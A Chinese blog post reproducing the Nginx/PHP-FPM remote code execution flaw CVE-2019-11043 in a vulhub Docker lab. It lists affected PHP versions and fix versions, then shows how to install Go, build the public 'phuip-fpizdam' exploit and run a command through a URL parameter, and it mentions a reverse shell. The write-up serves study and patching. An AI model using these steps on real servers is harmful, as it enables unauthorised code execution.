欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP远程代码执行漏洞(CVE-2019-11043)复现

程序员文章站 2022-03-23 18:13:41
...

漏洞说明#
是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发
漏洞编号#
CVE-2019-11043
影响范围#
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
修复建议#
将PHP 7.1.X更新至7.1.33
将PHP 7.2.X更新至7.2.24
将PHP 7.3.X更新至7.3.11

实验环境
攻击机:kali 2020.2
靶机:CentOS Linux7
项目地址:
https://github.com/vulhub/vulhub

基础环境搭建
查看我以前的博客自行搭建

实验环境搭建
项目地址

https://github.com/vulhub/vulhub

下载后上传至任意目录,进入目录

/vulhub-master/vulhub-master/php/CVE-2019-11043

启动docker编译

docker-compose up -d

启动环境之后,就可以看到漏洞环境的默认页面。在此为http://127.0.0.1:8080/index.php
PHP远程代码执行漏洞(CVE-2019-11043)复现
复现步骤

首先kali安装go环境

wget  -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.13.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
vim 编辑/etc/profile
文件最后加上export PATH=$PATH:/usr/local/go/bin
执行 source /etc/profile 命令 就安装成功了

PHP远程代码执行漏洞(CVE-2019-11043)复现
下载github上公开的exp

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用exp攻击demo网站
PHP远程代码执行漏洞(CVE-2019-11043)复现
http://192.168.91.133:8080/index.php?a=/usr/bin/id

PHP远程代码执行漏洞(CVE-2019-11043)复现
攻击成功
还可以进行shell反弹,感兴趣的可以深入研究!